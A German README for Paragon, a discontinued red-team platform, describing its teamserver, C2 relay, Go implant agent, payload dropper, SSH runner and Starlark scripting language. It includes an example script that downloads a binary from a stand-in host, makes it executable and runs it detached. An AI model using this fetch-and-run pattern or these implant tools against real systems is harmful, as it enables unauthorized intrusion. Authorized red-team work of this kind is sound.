
Red Team Engagement-Plattform mit dem Ziel, offensive Tools hinter einer einfachen Benutzeroberfläche zu vereinen.
Dieses Projekt wurde eingestellt. Bitte beachten Sie unser neues Realm-Projekt, das auf vielen der Ideen aufbaut, die wir bei der Entwicklung dieses Repos hatten.

Paragon ist eine Plattform für Red-Team-Einsätze. Sie zielt darauf ab, offensive Tools hinter einer einfachen Benutzeroberfläche zu vereinen, indem sie viele Backend-Aufgaben abstrahiert, sodass sich Operateure auf das Schreiben von Implantaten konzentrieren können und weniger Zeit mit Datenbanken und CSS verbringen müssen. Das Repository enthält auch einige offensive Tools, die bereits in Paragon integriert sind und während Einsätzen verwendet werden können.
Dieses Repository befindet sich noch in intensiver Entwicklung und ist nicht für den Produktionseinsatz bereit. Sobald es als stabil gilt, wird ein V1.0.0-Tag veröffentlicht. Bis dahin kann es zu bahnbrechenden Änderungen an der API kommen, da wir unser Design kontinuierlich vereinfachen. Bitte lesen Sie die unten stehende Entwicklerdokumentation, wenn Sie uns helfen möchten, diesen Meilenstein schneller zu erreichen.
Eine kurze Demonstrationsinstanz kann durch Klonen des Repos und Ausführen von docker-compose up eingerichtet werden. Öffnen Sie 127.0.0.1:80 in Ihrem Browser, um loszulegen!
Die verwendeten Images sind auf Docker Hub verfügbar und können über eine docker-compose-Datei für eine Produktionsbereitstellung konfiguriert werden.
Die meisten Komponenten in diesem Repository basieren auf einer Python-ähnlichen Skriptsprache, die leistungsstarke Steuerung und Anpassung ihres Verhaltens ermöglicht. Die Sprache ist eine modifizierte Version von Googles Starlark, erweitert um plattformübergreifende Funktionen für Operateure. Dies ermöglicht es Werkzeugen wie dem Agenten und dem Dropper (siehe unten), Aufgaben auszuführen, ohne auf Systembinaries (curl, bash usw.) angewiesen zu sein. Alle Operationen werden als Code in Golang ausgeführt, sodass es intuitiv ist, zusätzliche Funktionen zur Skriptumgebung hinzuzufügen. Hier ist ein Beispielskript:
# Laden Sie eine Datei per https herunter, führen Sie sie aus und behalten Sie sie nicht als Kindprozess.
load("sys", "request")
new_bin = "/tmp/kqwncWECaaV"
request("https://library.redteam.tld", writeToFile=new_bin)
# set new_bin permissions to 0755
chmod(new_bin, ownerRead=True, ownerWrite=True, ownerExec=True, groupRead=True, groupExec=True, worldRead=True, worldExec=True)
exec(new_bin, disown=True)
Stellt eine einfache Webanwendung und GraphQL-API zur Verfügung, um mit einem Red-Team-Wissensgraphen zu interagieren, Werkzeuge hinter einer zentralen Quelle der Wahrheit zu vereinen und viele mühsame Backend-Belange von den Operateuren zu abstrahieren. Integrieren Sie Ihre benutzerdefinierten Tools in den Teamserver (mithilfe der GraphQL-API oder Ereignisabonnements), um Zeit bei der Backend-Arbeit zu sparen. Der Teamserver zeichnet alle Aktivitäten auf. Wenn also alle Ihre Werkzeuge an einem Ort vereint sind, wird das Schreiben von Nachbereitungsberichten erheblich erleichtert.
Die unten aufgeführten Werkzeuge sind ebenfalls im Repository enthalten. Sie können leicht erweitert werden, um viele plattformübergreifende Anwendungsfälle abzudecken.
Paragon stellt ein Werkzeug zum Verpacken von Assets (Binärdateien, Skripte usw.) in eine einzelne Binärdatei bereit, die bei Ausführung Ihr benutzerdefiniertes Bereitstellungsskript ausführt, das Assets auf das Dateisystem schreiben, Prozesse starten, Dateien herunterladen, Fehler behandeln und mehr kann. Es ist vollständig plattformübergreifend und statisch kompiliert und bietet zuverlässige Bereitstellungen. Wenn Sie die Funktionalität erweitern möchten, können Sie einfach die generierte Golang-Datei vor dem Kompilieren erweitern.
Ein Implantat, das Aufgaben ausführt und Ausführungsergebnisse meldet. Es ist standardmäßig so konfiguriert, dass es Aufgaben mithilfe der Python-ähnlichen Skriptsprache von Paragon ausführt und über http(s) mit einem C2 kommuniziert. Es ist in Go geschrieben und kann schnell modifiziert werden, um neue Transportmethoden (z. B. DNS), Ausführungsoptionen, Failover-Logik und mehr hinzuzufügen.
Fungiert als Mittelsmann zwischen dem Agenten und dem Teamserver. Es verarbeitet Agent-Rückrufe für eine Vielzahl von Kommunikationsmechanismen und versorgt den Agenten mit neuen Aufgaben aus der Teamserver-Warteschlange.
Anstatt auf einen Rückruf zu warten, erfordern einige Situationen möglicherweise eine Vorwärtsverbindung, um eine Aufgabe schnell auszuführen und ihre Ausgabe anzuzeigen. Der Runner erreicht dies, indem er Aufgabenwarteschlangen abonniert und eine Verbindung zum Zielrechner herstellt (z. B. per SSH). Dies ermöglicht shell-ähnliche Integrationen, die dieselbe Oberfläche wie Implantate und C2s nutzen. Es ermöglicht auch die anfängliche Implantatbereitstellung über diese Oberfläche.
Überwachen Sie die Zielnetzwerkaktivität und sichtbare Dienste. Kartieren Sie ein Diagramm des Einsatznetzwerks und lösen Sie Automatisierung bei Zustandsänderungen aus (z. B. wenn SSH verfügbar wird).
Das Setzen der Umgebungsvariable PG_KS_MachineUUID (Killswitch) für den Teamserver deaktiviert Nachschlagen, die Maschinen-UUIDs verwenden.
Um eine klare Kommunikation über diese komplexen Systeme zu gewährleisten, haben wir unten einige projektspezifische Begriffe definiert, die in der gesamten Projektdokumentation verwendet werden.
Jede bösartige Software, die während des Einsatzes auf kompromittierten Systemen ausgeführt wird.
Gewünschte Operationen, die auf einem bestimmten kompromittierten System ausgeführt werden sollen. Aufgaben liefern Ausführungsanweisungen an Implantate, ihre Syntax/Struktur kann jedoch völlig werkzeugspezifisch sein.
Ein Implantat, das Aufgaben vom Teamserver empfängt, ausführt und deren Ergebnisse meldet. Eine erweiterbare Standardimplementierung ist in diesem Repository enthalten, die erfordert, dass Aufgaben als Skripte bereitgestellt werden, die in der Python-ähnlichen DSL des Projekts geschrieben sind.
Anfragen an den Teamserver, eine Reihe von Operationen durchzuführen. Beim Erstellen eines Jobs werden die Anweisungen gespeichert, aber nicht ausgeführt. Der Benutzer kann den Teamserver auffordern, einen Job null oder mehrmals auszuführen, indem er den Job in die Warteschlange stellt und die erforderlichen Parameter bereitstellt. Jobs können niemals aktualisiert werden, aber neue Versionen von Jobs können erstellt werden, um übermäßiges Kopieren und Einfügen zu vermeiden.
Ein häufiger Anwendungsfall für einen Job ist, wenn der Benutzer ein Skript auf einigen Zielen ausführen möchte. Der Benutzer erstellt einen Job, der den Teamserver anweist, Aufgaben mit dem bereitgestellten Inhalt zu erstellen, aber die gewünschten Zielmaschinen als Parameter offen lässt. Wenn der Job in die Warteschlange gestellt wird, gibt der Benutzer eine Liste von Zielmaschinen als Parameter an, und der Teamserver erstellt eine Aufgabe für jede Maschine.
Im Folgenden finden Sie eine erste und kurze Referenz für die Paragon-Entwicklung. Weitere Dokumentation finden Sie in den Paket-Godocs oder durch das Lesen von Code :) Nachdem wir einige Designentscheidungen finalisiert haben (lange vor Erreichen von v1), wird ein Code-Freeze in Kraft treten, bis die gesamte Dokumentation aktualisiert und angemessen organisiert ist.
Remote - Containers ist erforderlich, um loszulegen.Nach der Installation der oben aufgeführten Voraussetzungen können Sie in kürzester Zeit loslegen. Klonen Sie einfach das Repository und öffnen Sie es in VSCode. Sie werden aufgefordert, das Codeverzeichnis in einem Entwicklung-Container zu öffnen, der mit allen Projektabhängigkeiten und Entwicklungswerkzeugen konfiguriert wurde, die Sie benötigen. Wenn diese Option nicht bei Ihnen erscheint, öffnen Sie die Befehlspalette und führen Sie > Remote-Containers: Open Folder In Container aus, um den Container zu starten. Wenn Sie den Container zum ersten Mal starten, kann der Download eine Weile dauern ... holen Sie sich also eine Tasse Kaffee ^_^
Nachfolgend finden Sie eine Übersicht über die Projektstruktur und den Aufenthaltsort jeder Komponente. Wenn diese veraltet ist, reichen Sie bitte ein Issue oder vorzugsweise einen PR ein, um sie zu korrigieren. Das Codebase ist als Monorepository aufgebaut, was es uns ermöglicht, gemeinsame Entwicklungswerkzeuge und Standardisierungen zu nutzen und gleichzeitig komplizierte Versionskonflikte zu vermeiden.
| Ordner | Verwendungszweck |
|---|---|
| .devcontainer | Konfiguration für die VSCode-Container-Entwicklungsumgebung. |
| .github | Github-Konfiguration. |
| .stats | Ein git-ignoriertes Verzeichnis (das Sie haben können oder nicht) für die Speicherung von Leistungsprofilergebnissen. |
| ent | Graphbezogene API-Definitionen, die vom Teamserver verwendet werden. |
| graphql | GraphQL-Schema und zugehöriger Code, der aus ent generiert wird. |
| cmd | Befehlszeilen-Ausführbare Tools und Dienste. |
| dist | Ein git-ignoriertes Verzeichnis zum Speichern von Build-Artefakten. |
| docker | Dockerfiles, die für die Beispielbereitstellung verwendet werden. |
| ent | Graphmodelle und -schemata, die vom Teamserver verwendet werden (siehe Facebooks entgo Tool für weitere Informationen). |
| pkg | Öffentlich zugängliche Bibliotheken, die von Repository-Tools verwendet, aber auch für die Welt bereitgestellt werden. |
| pkg/agent | Eine Abstraktion, um einfach ein Implantat oder einen Kommunikationstransport zu erstellen. |
| pkg/c2 | C2-Dienstbezogene Hilfsprogramme und standardisierte Nachrichtendefinitionen. |
| pkg/c2/proto | Protobuf-Spezifikation zur Definition eines standardisierten Serialisierungsformats für die Agent-zu-C2-Kommunikation. |
| pkg/drop | Bietet eine einfache Methode, die von kompilierten Dropper-Payloads verwendet wird. |
| pkg/middleware | Allgemeine Middleware für HTTP-Dienste. |
| pkg/script | Python-ähnliche Skriptsprache für dynamische Konfiguration, Automatisierung und plattformübergreifende Ausnutzung. |
| pkg/script/stdlib | Standardbibliotheken, die Funktionen für Skriptausführungsumgebungen bereitstellen. |
| pkg/teamserver | Teamserver-Dienstbezogene Hilfsfunktionen. |
| www | Enthält die primäre Webanwendung, die vom Teamserver gehostet wird. Erstellt mit Facebooks create-react-app. |
| www/src/components | Wiederverwendbare React-Komponenten. |
| www/src/config | Web-App-Konfiguration und Routing. |
| www/src/views | Container, die Daten vom Teamserver abfragen und Komponenten zum Rendern zusammensetzen. |
Nachfolgend finden Sie eine Übersicht über die Beziehung zwischen Knoten im Red-Team-Wissensgraphen, der vom Teamserver verwaltet wird.

Transportpriorität. Um Ihren eigenen zu verwenden, implementieren Sie einfach das Interface agent.Sender und registrieren Sie Ihren Transport während der Initialisierung. Beispiele für vorhandene Transporte finden Sie in Unterverzeichnissen des Pakets agent.
Standardmäßig erwartet der Agent, dass Aufgaben der Starlark-Syntax folgen, und stellt Skripten eine Standardbibliothek zur Verfügung. Um das Verhalten der Aufgabenausführung zu ändern (z. B. nur Bash-Befehle), können Sie das Interface agent.Receiver implementieren, um Aufgaben nach Ihren Wünschen auszuführen.
Die Skriptumgebung kann für Ihren Agenten angepasst werden, sodass Sie problemlos neue Funktionen für Skripte bereitstellen können. Siehe Skriptoptionen um zu erfahren, wie Sie die Skript-Engine Ihres Agenten erweitern können.
Nachfolgend finden Sie ein Ablaufdiagramm der allgemeinen Ausführung des Agent-Implantats.
Der Agent ist darauf ausgelegt, einfach mit neuen Transportmechanismen angepasst zu werden, wobei die Kommunikation basierend auf der Transportpriorität multiplexiert wird.
